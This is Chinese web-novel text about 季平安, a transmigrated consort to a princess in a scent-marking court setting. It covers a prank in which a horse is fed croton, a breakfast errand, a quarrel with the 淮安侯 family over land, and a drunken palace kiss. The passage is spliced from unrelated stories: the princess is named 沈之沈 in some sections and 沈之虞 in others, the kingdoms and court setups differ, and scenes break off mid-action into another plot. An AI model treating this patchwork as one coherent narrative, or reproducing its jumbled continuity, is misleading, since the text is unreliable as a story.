夏去抄近路到了马厩,对旁边喂马的小厮道:“拿些巴豆过来。” “啊?夏将军这是要做什么?”小厮懵了,怎么还要巴豆。 马厩是有些巴豆,马匹消化不良的时候,多少会用上些手段,确保马匹的健康,一般不会多用。 夏去故作凶悍模样,“让你拿就拿,哪那么多废话?” 小厮连忙赔笑,“是是是,敢问夏将军,是要致泄量,还是致死?” “当然是致泄。”夏去是看不惯季平安,但还没必要为此杀了一匹马,或者摔死季平安。 “喂给驸马的那匹马,记住了,要拉虚脱就行。” 小厮不理解,但赶紧去拿巴豆喂给那匹在马厩里面最虚的马。 季平安过来时,夏去躲在一旁偷笑。 小厮自知做了坏事,赶紧把马匹牵出来,殷勤上前,“驸马,这是您的马。” 听起来有点儿奇怪,更奇怪的是,这个小厮上次看她还鼻子不是鼻子,眼睛不是眼睛的呢,怎么忽然变了一个人似的。 季平安疑惑地看了小厮一眼,接过马匹,“多谢。” “当不得驸马的谢。”小厮连忙行礼。 奇奇怪怪的,旁边跟着她的陈远陈近姐妹俩对视了一眼,默契的什么话都没说。 季平安觉得莫名,陈远却接过了她的马,“驸马,属下来牵。” 今日这陈远跟她一起去,陈家姐妹俩都会武,他们也是沈之沈派来盯着她的,这俩人一个帮她管内宅,一个在她出去时跟着她。 季平安并不介意身边有两个眼线,至少从她的简单了解中得知,这两姐妹很厉害。 可再厉害的人,也无法阻止马匹拉肚子。 从离开公主府,季平安的这匹马就在拉,拉到出城就彻底坚持不下去了。 马蹄子一个发软就跪在了地上,还好季平安反应快,一个翻身稳稳落地。 陈远赶紧下驴上前,“驸马,您没事吧?” 陈远心中是很惊讶的,没想到驸马的身手这么好,外界不是传言驸马不学无术吗?无论是医术,还是这一身功夫,都不像是不学无术的样子。 季平安不知道自己的形象在逐渐改变,她只是摇头,“没事。” 现在她面临着两个选择,回公主府,走回去要一个时辰,要么走到清远县,那就要一个半时辰了。 季平安看了一眼陈远的驴,要不…… “季平安,季平安!” 听到有人喊自己的名字,季平安扭头看过去,见居然是林制义那个小胖子,不由得笑问,“制义,你不是被关在家里不让出门吗?” 今日的小胖子一身天蓝色的华服,看起来非常贵气,身上的兽毛主打一个有钱。 相比起来季平安低调许多,一身素衣,穿地跟普通学子一样,除了兽毛的外套,还有足够厚实的披风,能看出来她出身殷实,但算不上富贵。 林制义无语地摆摆手,“别提了,你上来,我有事要与你说。” 两人有什么话好说,大清早地在城门口等她。 “我有事要去清远县,你直说就好。” “那你上来,我送你去。”林制义看起来有着急的事情要找她。 “这……”季平安看了看自己虚弱的这匹马,又看向了林制义的豪华马车。 “快上来吧,你的马我让人牵回城里。”林制义挥手,随后又道:“你这匹马又老又弱,我让人给你准备一匹好的,一会儿就给你带到清远县去。” 季平安拱了拱手,大不了后面再找机会还回去好了。 林制义的豪华马车就像是那种豪华房车一样,里面有软榻还有桌案,就是一个移动的房间。 季平安感叹林家不愧是皇商,确实会享受。 坐定之后,季平安看着殷勤给自己倒茶的小胖子,“说吧,找我什么事。” “我先去公主府找你,听人说你刚出府要去清远县,我本要去清远县找你,没想到刚出城,就看到了你。” 林制义也很意外,自己的马车竟能跑过骑马的一行人。 季平安也不想啊,谁能知道马会半路拉虚脱。 要是她知道这是沈之沈让人做的,只怕会更无奈,谁会想到堂堂长公主会这么……幼稚? 沈之沈单纯地想整治一下季平安,让她摔一跤吃吃苦头,也不知道她的身手会这么好。 但凡知道,她可能就会让夏去几个人扮演强盗,路上揍季平安一顿了。 沈之虞喊了声她的名字:“季平安。” “在。”季平安现在还是没有压下她开心的唇角。 沈之虞趁着她没有注意,站了起来将两人之间的距离拉开。 这段时间里,沈之虞身上的力气也恢复地差不多了。 她道:“你可以出去了,把云琴叫进来。” 看着眼前纤瘦漂亮的人,季平安:“……” 这才是真正的“用完就丢”啊。 第 65 章 第 65 章 季平安的视线微抬,从上到下看了遍沈之虞,确认她是真的恢复过来,身上也有了力气,才彻底放下心来。 地上散落的外衫基本不能穿了,她也没在意,直接拿起来出了房间。 打开门就看到守在院子外面的云琴,脸上还挂着显而易见的担心。 云琴将郎中送走之后,便一直守在院子门口。 如今见到人出来,她立刻走到季平安的旁边:“季小姐。” 她是中庸,自然闻不到季平安身上交融的信香的味道。 一拍脑袋,哈! 季平安想起来了,这周围布景可不就是小说里的丞相府小姐家的卧室? 《凤宠》是一篇女性向感情流小说,她刚看没多久,却不曾想被吸进了书中。 她穿书了? 意识到这点,季平安杏色瞳眸隐隐放大,尽量掩盖眸中不可置信的惊讶。 那眼前小丫头,莫不就是书中原身的贴身婢女,小桃。 “小姐,小姐?”吃饱喝足后,季平安瞥了眼刚才那个位置,还是空荡荡的,无人坐。 难道只是摆设? 电视剧上演的帝后向来平起平坐,况且年轻的帝王也没成家,那位置到底是谁的? 带着好奇,季平安端着金樽又饮了几口,脸颊因酒气而泛起丝丝红晕,如初春桃花,指尖不经意的划过桌面,似春水荡漾。 殿内一切开始模糊,酒宴酣畅最高处。 季平安晕乎乎起身,喝大了,浑身发热,耳朵里的管弦乐听着也不美妙变得嘈杂繁冗。 殿外凉风过脸,她摇摇头,还真是不胜酒力,娇躯在醉意中微微晃动,就这么不着调的向前走,弯曲狭长的宫道,绕了几圈,再想回去发觉也找不到来时的路。 不过这些季平安还不在意,比起迷路,她发现酒醉后带来的负面连锁反应更加恐怖,身体内像有无数道热流烫着她,迫使她焦躁的找一处清凉地舒缓。 手扶着墙壁,向前走。 “唔啊” 季平安身子一歪,竟然撞到一个硬物,她踉跄几步,跌在地上,抬眼看到前方一顶华丽的轿辇,左右七八个宫女,为首的女子穿着内监服,拧眉不悦道:“大胆。” 季平安起身,星眸朦胧藏着几分慵懒迷离,还没分清楚发生了什么,就被人劈头盖脸数落一顿,她侧头看着轿中央,眼角轻垂,媚意横生。 那轿辇在月色下较之周围环境更显突兀,浅香槟色的帘幕中婉约映着一个神秘身躯,隔空看去,缥缈又撩人。 她对着个黑黢黢的影子竟觉得曼妙起来,季平安咽口唾沫起身,三两下走到帘子前,夜凉如水,她胸腔却恣意燎原,散漫间抬手一掀,伴随着一声惊喝:“放肆。” 十七英气的眉一挑,腰间鞭子就要抽出,这是谁,这么不懂事,敢在殿下面前造次。 看着眼生,是宫外来的? 想到今晚是什么日子,她一寻思,拔出的手滞了几分,轿辇中的人同时间对她使了眼色,她立刻后退几步噤了声。 乌发金簪,一张红唇在白皙面容上更显绝艳,长睫下狭长眸底漆黑深沉,看人时目光深邃犀利,如缥缈雾气无法捉摸,一身宝蓝锦缎刺金牡丹花纹袍,披红帛,端坐轿内,比天上月还清冷矜贵,微蹙的眉带着一股天生的淡漠疏寡,夜色明灭的光影打在她身,投落一片森冷寒意。 季平安看入了迷,鼻腔一阵血腥味涌来,才发觉,面前女子隐藏在长袖下的手面,赫然滴着血,顺着指缝蜿蜒而下,濡湿裙摆一片。 季平安脑中似乎被刺了一下,只觉那刺目猩红与白皙腕间,宝蓝与金色交融,那猩红也变得不那么渗人,反倒多了一种说不清道不明的诱惑。 她呼吸急促,面上酡红,身形不稳,意识被冷白肤色浸染,醉眸蒙上了一层水雾,口干舌燥,她忍不住踮起脚尖凑过去,在眼前人的薄唇上点了一下。 周围是倒吸冷气的声音。 夜鸟在皇城上空盘旋,嘶哑的鸣叫给漆黑夜幕带来萧条凉意,时间仿若静止。 冰凉柔软,季平安仿佛找到了情绪的宣泄口,体内窜涌的热浪促使她想要更多,脚底飘忽发软,对方身上若有似无的罂粟芬芳适时侵入鼻尖,幽冷沉醉,似梦似幻。 双手攀上对方华贵衣襟,顺势一拉,季平安后退两步,将人从轿辇内拽出,她因着力道,搡了几步后背磕在一边的宫墙壁,被撞的胸前起伏。 高阔长廊,零星灯火,她被人挤在臂弯,对方似不紧不慢,抬眸见她愈发绯红的脸,轻笑一声:“这么急。” “你不难受么?” 季平安哑着嗓子没头没尾的嘤咛一句,为什么她觉得身体要炸开,不过就是在宫宴上喝了几杯酒,难道是皇宫的酒酿的太真,稍微些许就让人无法把持。 对方摇头,好整以暇,眼底带着别人猜不透的情绪,一点点将她窘态阅览无余。 “哪里难受?” 诱惑着,对方开口,低醇嗓音比喝过的酒还令人发醉,季平安轻哼,眉眼如画,双腿哆嗦,她顺着这句话感受着,那难受来自何处。 侧头,碎发拨乱间,她左耳后好似有什么要冲破皮肤,麻痒难耐。 耳后? 看着少女不安的扭动颈子,她探手按住她一侧,撩开长发,倾身凑过去,娇小耳垂后方一寸处,竟隐隐现出一抹心形红色印记。 紫藤花的淡雅清香从那心形印记出溢出,她红唇半勾,看来是初发。 “你靠这儿片刻,自然舒爽。” 她说着松开对季平安的潜质,同时也带走那片独有的罂粟芬香,像溺毙的人又突然被深水包裹,季平安下意识就顺着她抽离的手臂追随而去,将她一把抱在怀中,不松开。 “不不行。”这是从身体里发出的不明感觉,宫墙虽冷却解不了她的当下之急,紫藤花的味道开始扩散,铺天裂地,淹没一切。 季平安再次抱住对方,身子发抖,迎着本能,带着祈求:“帮我” “怎么帮?” 女子眉眼清贵,不急不缓,随着她再次抱住而停住欲离小步伐。 她目光含羞带痴,将妩媚融入血液,黑发被夜风吹得凌乱而更显风情。 如此摇曳生姿,予取予求的姿态,女子低头挑了她下颌,似笑非笑:“本宫怕你后悔。” 季平安心中呐喊,悔个屁,现在解决一下燃眉之急,她要被这股不明就里的燥热折磨死了。 双唇交叠,季平安拽着她衣袖的手腕被霸道的捏住脉门,重又磕在朱漆红墙,轻嗤一声,“根本什么都不会。” 便不在言语,低头控着主导权,将越发慢溢的紫藤花香尽数包裹在浓郁的罂粟之下。 繁星满天,似有微凉抚颊面。 十七面色僵硬的抬头看着天边月亮,这,她该做些什么? 小桃伸手在她眼前试探性的晃了两下,怎么感觉今天的小姐丝毫不在状态,难道是丞相答应她入宫,高兴傻了? 也是,小姐长这么大还是第一次入宫去赴宴,这么一想,小桃心中顿时释然。 将淡蓝色的披风给她系好,人小鬼大,一脸老成道:“夜凉风大,小姐风寒刚好,可不要再冻到,奴婢要心疼死。” 季平安站着,任由她在身上打理衣服边边角角,化妆铜镜在桌上,那个角度她探头过去,正好看到镜中的自己。 哦不,是原身。 天! 竟然一模一样,除了衣服朝代不同,那张脸,竟然长得与她分毫不差。 缘分,天定的缘分! 她这么巧看了一本书,这么巧穿进来,这么巧的就与女主角长的不差毫厘。 镜中人,肤如凝脂,眉如新月,眼似秋波,朱樱素齿,一颦一笑间,端方高雅,穿了小姐服比在现代当社畜多了不止十个点的清丽脱俗。 人果然还得靠衣装。 季平安暗自感叹,那方丫头小桃又道:“小姐,全然好了。” “咳既如此,就走吧。” 季平安记忆尚存,她身处昭国,母亲官拜丞相,娘亲是大家小姐,二人政治联姻,却也过得琴瑟和谐,伉俪情深。 出了闺房门。 院落中风景极好,郁郁葱葱,假山堆砌,池塘环绕,沿着碎石铺就的□□前行上了小石桥,红黄锦鲤在水中恣意畅游,道旁柳树成行,枝叶扶疏。 途中有家仆经过,对她点头行礼。 季平安轻松应对,书中开头对这位小姐描摹较少,只知道她性格外放,活泼伶俐,丞相与夫人只育有一子,对她甚是宠爱,是以与其她闺阁小姐大为不同。 丞相门前,左右坐着一头雄伟的狮子,庄严威武,一辆华丽的马车停在旁,季平安走上前,拉开帘子,只见季澜一身大红窄袖官袍端坐车内,从容不迫,义形于色,看到她出现,不怒自威的脸上闪过慈爱,声音温和:“九儿。” “母亲。”“离国使臣近日当到访我国。” 金殿上,沈悦掩去病态苍白,妆容精致的坐在龙椅上。 “丞相,就由你安排司礼部的迎接之仪。” 季澜出列弯腰接下圣喻。 而后又看着前方,温声道:“陛下,除了离国使臣一事,还有一件棘手事宜需禀告。” 沈悦轻轻蹙眉,点头示意。 季澜道:“近日,城中有不少妙龄女子先后得怪病,亦有几起不明失踪案待查。” 一语出,安静的大殿霎时间嘈杂起来,朝臣们相互看看,大家不由议论开:“这么怪异,我昭国自开国以来,尚未发生如此诡谲之事。” “什么怪病?传播途径是什么” 季平安甜着嗓子喊了一声,季澜心中一动,“走吧,宫里那些礼仪事项,你娘亲都跟你说了吧?” “嗯,之前娘亲有跟九儿说过,放心吧母亲,入宫后我就当自己是个哑巴,圣上不问话我绝不多言。” 季澜点头,眼中笑意更甚,她的女儿就是这么机灵,皇宫内毕竟不比家中可恣意。 管家驾车,马车在青石路上发出一阵“哒哒”声,向着威严的皇权中心进发。 怪不得她总感觉,太医看她的眼神很复杂呢。 现在看来对方进到房间后,就猜到了她和沈之虞之间的事情。 沈之虞倒是没有放在心上,很淡定地道:“知道也好。” 季平安:“那她回到宫里,应该会告诉皇帝。” 皇帝必然不是真的想让自己的女儿好,只是试探沈之虞是不是真的失忆。 说完,她也明白了沈之虞的意思:“你是故意没有遮掩信香,想让皇帝知道这件事?” 沈之虞嗯了声。 她看着季平安,道:“给你名分。” 第 66 章 第 66 章 晚上。 府里的人也都歇下,万籁俱寂。 高悬的月亮洒下些银灰色的月光,透过窗棂落在地面上。 岁岁已经睡熟了,呼吸声平稳,季平安放轻动作帮小孩掩了掩被角,才没有声音地翻了个身。 她侧躺着,胳膊枕在脑袋下面,眼睛仍然睁着,没有半分睡意,反倒比白日里还要清醒。 季平安能闻到一缕很淡的幽兰味道绕在她的腺体旁边,若隐若现,有些像她曾经用的兰花味道的胰子。 标记并不是单向的,标记完成后乾元和坤泽的身上都会带着对方的信香。 季平安快马加鞭往城西赶去,路上还遇到了刚结束宵禁收队的金吾卫。 金吾卫领头地看到有人在街上策马狂奔,还把她给拦了下来。 负责京城巡防的金吾卫,遇到刚结束宵禁就奔腾的人,按例是要下马接受盘问的。 “驸马?”为首的金吾卫指挥佥事下马行了半礼,“驸马怎么在此?” 指挥佥事的职位比季平安的品级高,但她是驸马,算是宗室成员,半礼还是要行的。 她这个驸马在公主府没啥地位,出去还是挺能唬人的,怪不得淮安侯府能借着前身的名头搞事,前身也能骗吃骗喝的。 得亏了前身当驸马的时间短,不然手里何止百两银子,也是前身几乎住在了烟花之地,她只喝酒赌博,也不要人作陪,因此沈之沈也不能抓住她的把柄和离。 再说了,成亲短短时间就和离,皇帝不可能同意的。 季平安下马拱手,指着背上的背篓,“殿下有事吩咐,在下时间紧急。” “原来是公主殿下的事,驸马请便。” 对方看了一眼她的背篓,里面只有一张皮毛跟食盒,没有什么违禁物品,反正宵禁都结束了,也没有必要为了这点儿事情得罪驸马。 季平安再次拱手,“多谢。” 她这边刚走,那人就对属下挥挥手,“跟上她,看她做什么。” “是。” 季平安这边光顾着买东西,还真不知道有人跟着自己,跟着她的那个金吾卫回去后传话,说驸马在城西买了羊肉烤饼,城北买了馎饦。 再结合她说自己是为公主办事,没多久,驸马寅时出府为长公主殿下买早食,从公主府到城西,从城西再到城北,为了让东西回去的时候还热着,还在背篓里放了食盒,食盒贴心地用皮毛包裹住。 外界开始传闻,驸马惧妻。 季平安可不知道自己今日会让京都的人觉得她妻管严,反正只要沈之沈开心,她的小命就保住了,管外人怎么说呢。 她买完羊肉烤饼,又快马加鞭地往城北赶,还好背了背篓,把食盒放在了里面,不然她都没办法拿。 知道她要给沈之沈带早饭后,月落就帮她准备齐全了,听了她的想法,还特意找到了行军水袋。 牛皮制造的水袋,季平安让店家把做馎饦用的汤灌在了里面,调料装了一份,面是生的,她担心面会坨,决定回去自己煮。 为了步骤的准确,她还观察店家煮了一碗面。 季平安站在原地,冷的时不时跺跺脚,眼睛都不愿意离开店家的煮面的手。 老王家媳妇把灌好的汤交给了她,“女郎要不进去烤烤火吧,等下再回去。” “不了,家中娘子等着吃。”季平安婉拒了。 她已经出来一个多时辰了,还需要半个多时辰赶回去呢。 老板娘感叹道:“真是个爱护娘子的好女郎,不像我家那口子,木讷得很。” 闻言老王不干了,“那老婆子你想吃啥,我去给你买。” “去去去,要你买。” “你看。”老王无奈地摆摆手。 季平安笑眯眯地看着面前这温情的一幕,把东西用心包裹好。 临走时店家还不忘叮嘱,“记得,用砂锅小火。” “好,多谢了店家。”侯夫人指着她,气得说不出话来。 “有了媳妇忘了娘,有了媳妇忘了娘啊!” 侯夫人很伤心,可有些话季平安不得不说。 淮安侯上前一步,用颤抖的手指着她,“混账,简直是混账,有你这么跟你母亲说话的吗?” “再说了,那本就是淮安侯府的田,只是让他们还回来,怎么就是兼并民田了?满朝文武,难道单我一家这样做?” 季平安依然冷静,眼神坚定,“那田是父亲卖出去的,不是人家抢的,还有,别人怎么做我不管,但用公主府的名义去做不行,兼并民田这件事,我希望以后不会再发生。” “若父亲明日不把有关之人送去当地官府,我就去御前请罪,为淮安侯府请罪!” 到那时淮安侯,淮安侯世子新得的官位,可就要没了。 淮安侯气得就要打她,堂堂侯爷,哪里想承认自己卖了祖田,刚得势就想把田给抢回来,这样丢脸的事情被自己女儿就这么指出来,他的一张脸皮都没地挂了。 “人是你派出去的,他们都是你这个驸马的人,就算你去御前,又能与淮安侯府有何干系?” 季平安微微放松的身体马上挺直,“可田到了阿兄的名下,人本就是侯府的人,他们可没随我到公主府,而且有我这个亲生女儿做证,陛下难道非要把罪名往公主殿下的身上揽?” 皇帝又不是傻子,有人主动承担罪名,还非要让自己女儿承担,就算不是为了沈之沈,为了皇室颜面也不会。 听到她这么说,老夫人连忙上前握住她的手,语重心长道:“阿安,你这是做什么,不过是些许田地,我们还回去就是了,几个奴仆而已,也值得你们父女俩这样吵。” “既然祖母发话了,我就回公主府等消息了,祖母,父亲,母亲,你们知道,女儿如今是驸马,公主是君,我是臣,不能经常回侯府。” 季平安垂眸故作阴沉委屈模样,“说起来我算入赘,跟大姐姐一样,是嫁出去,侯府没有给我嫁妆,我不怨恨,若以后侯府还有人打着我的名义为非作歹,女儿自会大义灭亲。” 她的话是话糙理不糙,在外人看来,她就是入赘公主府了,不然怎么不是公主随她回侯府,当然了,她要是能承继侯爵,倒是可以在这件事上掰扯一下,但她不是。 季平安今日这话,简直是在跟侯府断绝关系,毕竟除了抄九族,没说还要让嫁出去的女儿连坐的,就算她是乾元,那也是嫁给公主了。 按照这个世界的规矩,是入赘到公主府了。 “放肆,简直是放肆。”季铭武上来就要打她。 季平安直接躲开,“父亲,我是驸马,虽算不上君,但我是公主的人。” “你!” 父亲教训女儿天经地义,可淮安侯不是那么硬气的人。 季平安弯腰行礼,“女儿告辞。” 她来侯府就是为了这件事,今日这话也会被传出去,众人皆知,她自认入赘公主府,与淮安侯没关系了,就算日后淮安侯世子死了,继承人也不是她。 以大周的规矩,立嫡立长,立嫡在前面,只有没有嫡出了,才会考虑庶出,没了世子,季平安就是第一顺位继承人,可她自己放弃了。 季平安才不在乎侯爵的位置,总不能盼着季煦死吧,就算季煦死了,她也不愿意继承爵位,淮安侯府已经烂透了,身上还爬满了吸血虫,宗族,豪仆,还有老家的那些人,这些人都在吸侯府吸血,按照这个世道,躲不开甩不掉,早安会像红楼里的贾家一样。 入赘公主府是她的生路,可惜前身愚蠢,看不透这点,对外只说公主下嫁,从不说入赘,有本事别入住公主府,别打着公主府的名义为非作歹啊! 很多入赘的人,总有一种莫名的自尊心,把恨都归咎于岳家,妻子身上,怎么不想想,你自己不入赘,没人能逼迫,哪怕是尚公主也一样,不像是这个世界的坤泽,几乎不可能自己做主婚事。 公主的成亲对象,向来是选上许多,最后挑挑选选的,留下那么几个,但这些人都是自愿报名的,可没人强迫,前身还是自己算计来的呢,结果还那么怨恨沈之沈。 这样的人,要不是背后中山王搞鬼,怕也不能成功用舆论逼迫皇帝,中山王可安排了不少人在朝堂上弹劾议论,皇帝都被气晕了一回,也导致了皇帝不待见前身。 要不然堂堂驸马,怎么连个实职都没有。 前身能入赘公主府是各方都在背后出了点儿力气,很难说另外几个储君候选人没有人参与。 季平安转身离开,不留任何余地,最后只有季晴追了出来。 留在屋子里面的那几个人,淮安侯脸色铁青,世子季煦上前一步,“父亲,老二这是怎么了?” “怎么了?肯定是在公主府受气了,回来耍威风呗,都是你,把她惯坏了。” 淮安侯瞪了侯夫人刘婉一眼。 刘婉委屈,“孩子在外受气了,不回来说,还能怎么办?再说了,这件事不就是阿煦惹下的麻烦。” 要不是娘家没有助力,再加上自己在侯府没有话语权,一直被老夫人压得狠了,刘婉哪里会甘心就这样让季煦稳坐世子之位。 “你懂什么?”淮安侯早就看不过母亲跟夫人对季平安的溺爱,这下好了,连自己父亲都敢顶撞。 刘婉还想说话,却季煦打断,“父亲,我觉得老二就是心里不开心回来闹一通,并不是真的要我们按照她说的做,况且她是侯府的女郎,与侯府一荣俱荣,一损俱损,怎么会去陛下那告我们呢。” 他们在老夫人那里的谈话,这边季晴也说了,“阿安觉得,父亲他们会听从你的安排吗?” 季平安不觉得以他们的贪婪,会把吃进去的肉吐出来,所以她回来了,如果明天他们没有动作,她真的会去告御状。 “那他们便赌一下,我会不会找陛下。” 季平安大步往前走了两步,忽然想起了什么,回头道:“阿姐日后有事可来公主府寻我。” 季晴能提醒她这么多,明摆着是朝她示好,虽说她入赘公主府,但侯府真要搞事情,还是得有人告诉她才行,总不能被人打个措手不及。 “好。” 季晴看着这位妹妹的背影,随即摇摇头,“成婚了,也长大了,还以为会被拒绝呢。” 尽管季平安只是她没有选择的选择。 “客气什么,小女郎不是还给我开了膏药。” 老王腰疼,年纪这么大了还早早起来讨生活,季平安写下了一张药方,让店家把药捣碎了贴在身上。 药都不是什么值钱的,但药方值钱,懂药理的人就能看出来,药方的价值。 所以老王也不介意,让季平安站在旁边学习馎饦的做法了,再说熬汤才是精髓,别的就算给别人知道也模仿不出来。 季平安把东西放食盒里面包裹好,再次翻身上马。 前身会些许马术,掌握了技巧后,她感觉自己的马术比前身都要厉害,不然她也不敢在道路上狂奔。 不过这个点不行,京都百姓陆续出现在街道上,她只能均速回去。 哪怕季平安紧赶慢赶,辰时才回去,算起来她四点多出的公主府,快八点了才回去,买早餐用了这么长时间,她的手已经冻得跟冰块一样了。 还好是背篓,提篮子她可能根本提不动,其实她的身体素质变好了,正常情况下没有那么怕冷,这不是起得太早,又一路纵马嘛。 好不容易回到了公主府,季平安来到厨房,煮馎饦,把烤饼再热一下,就能端给沈之沈了。 她没有叫人,整座公主府,她能叫动的也只有月落,所以她干脆不开口,自己来烧。 那边沈之沈已经得到了消息,春归马上汇报了消息。 “但驸马带回来的馎饦是生的,她亲自去煮了。” 这个世界的乾元,只有厨子才入厨房,至少勋贵世家子弟,不可能进厨房的,遵循所谓的君子远庖厨。 哪怕是公主,可季平安也是朝廷命官,是勋贵出身,她能进厨房煮馎饦,对公主府众人来说,还是很震惊的。 公主府的下人都希望公主幸福,要是驸马一开始就这样,众人也不至于把她当空气,就是不知道,驸马是装的,还是真的改邪归正了。 “如此,那便用膳吧。”沈之沈平淡地吩咐了一声。 春归一愣,驸马那边还没煮好,这会儿怎么吃?随即她明白过来,公主殿下要的是早膳,可没有说要吃驸马买的。 春归只能去传膳,厨房那边早就备着呢,很快膳食就摆到了罗汉床上的茶几上。 沈之沈随便吃了几口粥就放下了碗筷。 “殿下,传旨太监出宫了。”夏去快步走了进来。 沈之沈摆摆手,觉得腺体有些发热,很是难受,也就没什么胃口。 另一边季平安煮好了馎饦,羊肉烤饼也热好了,不失原味,估计沈之沈等得急了,她赶紧拎着食盒往永宁院。 来到永宁院,季平安把食盒放在餐桌上,正好看到一个婢女端着吃过的早饭离开。 季平安愣了愣,唇抿在了一起,还是走进内屋里去。 她就知道,沈之沈突然吩咐她,定然不是真的要她做什么,很大的可能是捉弄她出气。 能让沈之沈出出气也好,气出了,才能静下心地听她讲,看她怎么做。 她进来永宁院时,院子里面的婢女都低着头,当看不到她。 沈之沈正在喝茶,紧蹙的眉头,看得出来她的心情很不好的样子。 季平安走近,“殿下,馎饦跟烤饼都买回来了。” 任务完成了,过程不重要,沈之沈吃不吃……她管不着。 沈之沈抬眸,语气慵懒冷漠,“那就丢了吧。” 果然不出她所料,季平安冰冷的身体刚热回来,她的唇跟手还是很凉,抿唇的时候,都能感受到上面的冷意。 “丢了多可惜,殿下不吃,我来吃。” 季平安笑了笑,平静地走了出去。 沈之沈疑惑,她都没有被作弄的气愤吗?都被这样作弄了,为什么不生气。 她这样的反应,让沈之沈觉得,这一口恶气憋在心口,并没有出来,腺体上的热意越发明显,让她更加的心烦意乱。 该不会是雨露期要来了吧? 当时宫里无人不知,明贞帝最爱的人便是玉贵妃,最疼爱的女儿便是七公主。 哪怕给七公主取名,都特地带着玉贵妃母家的姓。 只是对方去世的太早,明贞帝慢慢的,也记不起来他们之间发生过的事情。 回忆会添上滤镜,死去的人最值得缅怀,玉贵妃也慢慢变成了他记忆里完美的人,无人能比。 如今对方唯一的女儿,正跪在他的面前,不过是想要选个自己喜欢的驸马。 “罢罢罢!”明贞帝闭了闭眼:“朕最后再问一次,你是非季平安不可?” 沈之虞垂眸,一字一句地道:“非她不可。” 第 67 章 第 67 章 明贞帝听到她的话,问道:“那你可想好,给对方安排什么身份了?” 哪怕知道对方是平民,也不能真的让对方用平民的身份当上驸马。 沈之虞道:“季副将的三女儿。” “季副将?”明贞帝重复了下她的话,“可是跟着虞将军的季副将?” 沈之虞点头:“是她。” 明贞帝对季副将有印象,对方家里有两个女儿,并且都已经成了亲。 虞思冬手上有三十万军队,明贞帝也对她心有忌惮,一直在想方设法地削弱她的兵权。 说出这样的话,季平安也有些尴尬,作为一个恋爱都没谈过的人,上来就跟一个初见面的人告白,话还说得这么肉麻,一个i人轻轻地碎了。 季平安本身性格算不上内向,只是不乐意跟不同频的人说话,显得有些内向了,但告白这种事,她确实第一次做。 她的告白,让沈之沈有些犯恶心,这个人渣也配说这种话? 喜欢就要不顾一切得到,不管别人喜不喜欢,不管给别人有没有造成困扰? 至于季平安说的,她是孤魂占据了人渣的身体时,沈之沈有一瞬间是信了的,因为她也是孤魂归来。 只是她觉得,季平安这个人渣可能跟她一样是重活一世,知道自己的结局,所以重活之后,就想着法地讨好她。 越想沈之沈越觉得如此,季平安死的时候,宝安王还没有登基,最后是谁当上了皇帝还不知道,季平安更不会知道她与宝安王最后在争夺大周政权的归属。 季平安重活一回,因为不知道夺嫡结果,以为只要跟着身为长公主的她,就不会那么快死,有利用价值的人才能活得更久。 沈之沈觉得,这就是季平安讨好她的原因。 “荒谬!”沈之沈只给了季平安这两个字。 沈之沈苍白的脸上有一抹异样的红,肯定不是害羞,更有可能被气得。 季平安立即站了起来,“殿下别急,还是我帮殿下施针的好。” 只有乖乖扎针才能好得更快。 沈之沈冷冷地盯着她,被子下的手已握住了刀柄,“滚!” 此人不知在哪儿学了医术,居然就敢用在她身上。 季平安已经离床一米远了,“殿下,讳疾忌医不好。” 眼看沈之沈的脸色越来越阴沉,她认真看着沈之沈的眼睛,尽量表现得真诚,“我真不是那个人渣,殿下信与不信,我会证明给殿下看的。” “我不会伤害你,不会欺骗你,也不会拖你的后腿。” 沈之沈握紧刀柄的手顿了下,她自然不信季平安,可以她多年的阅历能看出来,季平安没有撒谎,她的心里好像真的是这么想的。 怎么可能,除非季平安还有什么别的阴谋。“殿下,三思。” 春归心知季平安出现在暖阁不对,说不得公主中毒就是驸马做的,但如今朝堂臣工都盯着公主,真要杀了驸马或对驸马怎么样,公主被赶到封地,此生与陛下娘娘此生不复相见都算是比较好的情况了。 当今陛下对公主虽然宠爱,但是这份宠爱都是排在皇室颜面之后的,不然公主也不会跟驸马成亲。 沈之沈的眸光森寒,身居高位的气场外放。 随便吃了两口的季平安进来,正好跟沈之沈对视,她被对方眸中的嗜杀惊了一瞬,但虚弱靠在床上的沈之沈,就算是老虎,也是虚弱的纸老虎,没有什么杀伤力。 她抬步靠近,弯腰观察着沈之沈的眼睛,旁边的春归心中一惊,立马凝神注意着两人,生怕沈之沈暴起把她给杀了。 不是春归谨慎,她知道公主肯定受了委屈,可现在不是对驸马出手的时候。 驸马季平安出自开国十二侯淮安侯府,开国八大国公,十二侯,二十四伯,到了圣元年间,开国勋贵就剩下了那么几家,怀安侯府是少数还留在京都的,家中勉强算旧勋贵中最有出息的。 旧勋贵逐渐陨落,新勋贵强势出头,皇帝想要军中平衡,又不想用文官压制,只能扶持旧勋贵,正好季平安又跟公主传起了谣言,陛下便选了淮安侯府来扶持。 淮安侯封散官正二品金吾将军,实职为从三品禁军指挥同知,世子封散官正四品明威将军,实职虎贲军从四品右卫中郎将,女郎季平安为驸马,尚长公主,而淮安侯府有一个庶女郎本就是进士及第,为翰林院庶吉士,晋升翰林院侍读。 这样的恩宠,让淮安侯府这个破落户,一下子成了京都炙手可热的人物。 要知道多少勋贵子弟只有虚衔,没有实职,淮安侯等于是破产之后,突然挖到了宝藏一夜暴富。 外人觉得,定是季平安傍上了公主,家中才一起得到了封赏。 可明眼人都知道,那只不过是圣元帝平衡朝堂的法子,他只有沈之沈一个女娘,没有储君,况且他年事已高,越发控制不住朝堂臣工,只能用帝王的平衡之道继续掌控天下。 每隔几日,朝堂就要争吵一次立储君,为了不那么早选外人当储君,皇帝用尽了方法,还召了几个宗室成员进京,让人误以为他想在几人里面选储君,以此稳定朝局。 皇帝宠爱自己唯一的女儿,但更想要一个自己亲生的储君,后宫多年没有选秀,可皇帝临幸的宫人却不少,就是不知道为什么,始终没有新的皇子皇女出生。 朝堂臣工不惜用公主逼迫皇帝,公主与季平安成亲,就是皇帝的妥协,甚至从一开始皇帝对驸马的人选就在老牌落魄的勋贵里。 为了拖时间,哪怕驸马品行不端,以造谣的手段尚公主,皇帝不仅没有任何惩罚,还对季平安全家封赏。 公主心里一定很苦吧,春归心疼自己的主子,却无法左右帝王。 只是无论如何,驸马暂时不能死。 沈之沈刚醒来那会儿,看到季平安的瞬间,只想杀了她,可弄清楚当下的处境后,沈之沈强制自己冷静了下来。 身为长公主,现在她的处境并不妙,满朝文武试图用她来威胁父皇达到目的,而父皇并不是那么坚定地站在她的身后,从父皇给她跟季平安赐婚,她便知道了。 